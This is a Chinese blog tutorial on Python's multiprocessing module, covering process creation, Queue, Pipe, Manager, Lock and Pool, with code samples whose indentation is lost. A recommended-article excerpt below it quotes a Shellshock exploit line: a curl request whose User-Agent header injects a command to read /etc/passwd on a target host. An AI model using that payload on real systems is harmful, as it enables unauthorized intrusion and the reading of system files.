Python3中的multiprocessing模块是一个与threading模块类似,提供生成进程的API

  多进程multiprocessing模块允许程序员充分利用给定机器上的多个CPU(处理器),但注意CPU是不认识进程的,进程更像是一个线程的容器,这也是为啥一个进程至少包含一个线程,但进程有两个缺点:

    1.进程在同一时间只能干一件事,如果想同时干两件事或以上,进程就心有余而力不足了

    2.进程在执行过程中如果被阻塞,比如等待输入,整个进程就会被挂起,无法做后面的操作

import os
import multiprocessing as mp def process_func(name):
print("进程ID,%s" % os.getpid())
print("父进程ID,%s" % os.getppid())
print("Hello,%s" % name)
print("--------------------------") if __name__ == "__main__":
p = mp.Process(target=process_func, args=("Jet", )) # 创建进程1
p2 = mp.Process(target=process_func, args=("Jack",)) # 创建进程2
p.start() # 启动进程1
p2.start() # 启动进程2

创建多进程实例

进程间的数据交互

  不同进程的内存都是独享的,所以要想实现不同进程间的数据交互,主要有两种方式:

    1.使用multiprocessing.Queue队列,特点是:FIFO(先进先出)同时它也是线程安全的

import multiprocessing as mp
"""
Queue进程间的互相通讯
特点: FIFO(先进先出) 线程安全
""" def process_func(q):
print("Hello,%s" % q.get()) # 取数据
print("Hello,%s" % q.get())
print("Hello,%s" % q.get()) if __name__ == "__main__":
que = mp.Queue()
que.put("Jet is 1") # 存数据
que.put("Jack is 2")
que.put("Judy is 3")
p = mp.Process(target=process_func, args=(que, )) # 创建进程
p.start() # 启动进程

    2.使用multiprocessing.Pipe()管道函数,获取两个连接对象来进程通讯,特点是:双向收发

import multiprocessing as mp
"""
Pipes进程间的互相通讯
特点: 利用两个连接对象进行收发通讯
""" def process_func(conn):
print("Hello,%s" % conn.recv()) # 接收数据
print("Hello,%s" % conn.recv())
print("Hello,%s" % conn.recv())
conn.send("你好") # 发送数据
conn.close() if __name__ == "__main__":
front_conn, behind_conn = mp.Pipe()
front_conn.send("Jet is 1") # 发送数据
front_conn.send("Jack is 2")
front_conn.send("Judy is 3")
p = mp.Process(target=process_func, args=(behind_conn, )) # 创建进程
p.start() # 启动进程
p.join()
print(front_conn.recv()) # 接收数据
front_conn.close()

进程间的数据共享

  能不能让不同的进程之间共享一份数据呢,答案是肯定的,不过就要使用Manager对象了,而且Manager是线程安全的

import multiprocessing as mp
"""
Manager进程间的数据共享
特点: 多个进程之间共享一些数据
""" def process_func(d, name ):
d[name] = name if __name__ == "__main__":
with mp.Manager() as mgr:
dt = mgr.dict()
p = mp.Process(target=process_func, args=(dt, "Jet")) # 创建进程
p1 = mp.Process(target=process_func, args=(dt, "Jack")) # 创建进程
p1.start()
p.start() # 启动进程
p.join()
p1.join()
print(dt)

进程同步

  如果多个进程的目标为同一个对象时,比如多个进程都要向屏幕输出,那么此时,就要让这些进程变成串行的,怎么办?加锁!

import os
import time
import multiprocessing as mp def process_func(l, name):
try:
l.acquire()
print("进程ID,%s" % os.getpid())
print("父进程ID,%s" % os.getppid())
print("Hello,%s" % name)
print("--------------------------")
time.sleep(2)
finally:
l.release() if __name__ == "__main__":
lock = mp.Lock()
p = mp.Process(target=process_func, args=(lock, "Jet", )) # 创建进程1
p2 = mp.Process(target=process_func, args=(lock, "Jack",)) # 创建进程2
p.start() # 启动进程1
p2.start() # 启动进程2

进程池

  进程池内部维护一个进程序列,当使用时,则去进程池中获取一个进程,如果进程池序列中没有可供使用的进进程,那么程序就会等待,直到进程池中有可用进程为止

from multiprocessing import Process, Pool
import time def process_func(i):
time.sleep(1)
print(i)
return i + 100 def callback_func(arg):
print('-->exec done:', arg) if __name__ == "__main__":
pool = Pool(3)
for i in range(10):
pool.apply_async(func=process_func, args=(i,), callback=callback_func) # 异步调用
# pool.apply(func=Foo, args=(i,)) # 同步调用 print('end')
pool.close()
pool.join() # 进程池中的进程执行玩在关闭,先close()在 join()

参考资料

  http://www.cnblogs.com/alex3714/articles/5230609.html

  http://python.usyiyi.cn/translate/python_352/library/multiprocessing.html

Python3-multiprocessing模块-多进程的更多相关文章

  1. python3 multiprocessing 模块

    多进程 Multiprocessing 模块 multiprocessing 模块官方说明文档 Process 类 Process 类用来描述一个进程对象.创建子进程的时候,只需要传入一个执行函数和函 ...

  2. 多进程 multiprocessing 模块进程并发Process;Pool ;Queue队列 、threading模块;

    multiprocessing 模块中的 Process类提供了跨平台的多进程功能,在windows和linux系统都可以使用. 1.首先要实例化一个类,传入要执行的函数. 实例名 = Process ...

  3. 使用multiprocessing模块创建多进程

    # 使用multiprocessing模块创建多进程 # multiprcessing模块提供了一个Process类来描述一个进程对象. # 创建子进程时,只需要传入一个执行函数和函数的参数,即可完成 ...

  4. 多进程Multiprocessing模块

    多进程 Multiprocessing 模块 先看看下面的几个方法: star() 方法启动进程, join() 方法实现进程间的同步,等待所有进程退出. close() 用来阻止多余的进程涌入进程池 ...

  5. python多进程multiprocessing模块中Queue的妙用

    最近的部门RPA项目中,小爬为了提升爬虫性能,使用了Python中的多进程(multiprocessing)技术,里面需要用到进程锁Lock,用到进程池Pool,同时利用map方法一次构造多个proc ...

  6. python之多进程multiprocessing模块

    process类介绍 multiprocessing 模块官方说明文档 Process 类用来描述一个进程对象.创建子进程的时候,只需要传入一个执行函数和函数的参数即可完成 Process 示例的创建 ...

  7. python 3 并发编程之多进程 multiprocessing模块

    一 .multiprocessing模块介绍 python中的多线程无法利用多核优势,如果想要充分地使用多核CPU的资源(os.cpu_count()查看),在python中大部分情况需要使用多进程. ...

  8. 多进程编程——理论讲解与 multiprocessing 模块

    多进程编程 import os pid = os .fork() 功能 :创建新的进程 参数: 无 返回值 :失败返回一个负数 成功:在原有进程中返回新的进程的PID号 在新进程中返回为0* 子进程会 ...

  9. 进程,多进程,进程与程序的区别,程序运行的三种状态,multiprocessing模块中的Process功能,和join函数,和其他属性,僵尸与孤儿进程

    1.进程 什么是进程: 一个正在被运行的程序就称之为进程,是程序具体执行的过程,是一种抽象概念,进程来自操作系统 2.多进程  多个正在运行的程序 在python中实现多线程的方法 from mult ...

  10. Python第十五天 datetime模块 time模块 thread模块 threading模块 Queue队列模块 multiprocessing模块 paramiko模块 fabric模块

    Python第十五天  datetime模块 time模块   thread模块  threading模块  Queue队列模块  multiprocessing模块  paramiko模块  fab ...

随机推荐

  1. 曹工说mini-dubbo(2)--分析eureka client源码,想办法把我们的服务提供者注册到eureka server(上)

    前言 eureka是spring cloud Netflix技术体系中的重要组件,主要完成服务注册和发现的功能:那现在有个问题,我们自己写的rpc服务,如果为了保证足够的开放性和功能完善性,那肯定要支 ...

  2. Shellshock漏洞复现

    漏洞分析: exp: curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://172.16.20.134:8080/victi ...

  3. Rocket - devices - TLDeadlock

    https://mp.weixin.qq.com/s/Zv4HE7zMBzHbsWGg3pa9fg 简单介绍TLDeadlock的实现. 1. TLDeadlock TLDeadlock是抽象类Dev ...

  4. Rocket - util - GenericParameterizedBundle

    https://mp.weixin.qq.com/s/vf0PfjbxQ3Ywjk6tk85SfA   介绍GenericParameterizedBundle的实现.   ​​   1. 基本介绍 ...

  5. Java实现 蓝桥杯 算法提高 字符串匹配

    试题 算法提高 字符串匹配 问题描述 给出一个字符串和多行文字,在这些文字中找到字符串出现的那些行.你的程序还需支持大小写敏感选项:当选项打开时,表示同一个字母的大写和小写看作不同的字符:当选项关闭时 ...

  6. (Java实现) 洛谷 P1106 删数问题

    题目描述 键盘输入一个高精度的正整数NN(不超过250250位) ,去掉其中任意kk个数字后剩下的数字按原左右次序将组成一个新的正整数.编程对给定的NN和kk,寻找一种方案使得剩下的数字组成的新数最小 ...

  7. Java实现 LeetCode 554 砖墙(缝隙可以放在数组?)

    554. 砖墙 你的面前有一堵方形的.由多行砖块组成的砖墙. 这些砖块高度相同但是宽度不同.你现在要画一条自顶向下的.穿过最少砖块的垂线. 砖墙由行的列表表示. 每一行都是一个代表从左至右每块砖的宽度 ...

  8. Java实现 洛谷 P1583 魔法照片

    import java.util.*; class Main{ public static void main(String[] args) { Scanner in = new Scanner(Sy ...

  9. (二)SQL注入常用的内置函数整理(以MySql为例)

    [1]@@datadir 函数作用:返回数据库的存储目录构造SQL语句 select @@datadir;   [2]@@version_compile_os 函数作用:查看服务器的操作系统SQL语句 ...

  10. Linux笔记(第一天)

    一.命令 lscpu                               -- 查看cpu free                                 -- 内存查看 -m 以M ...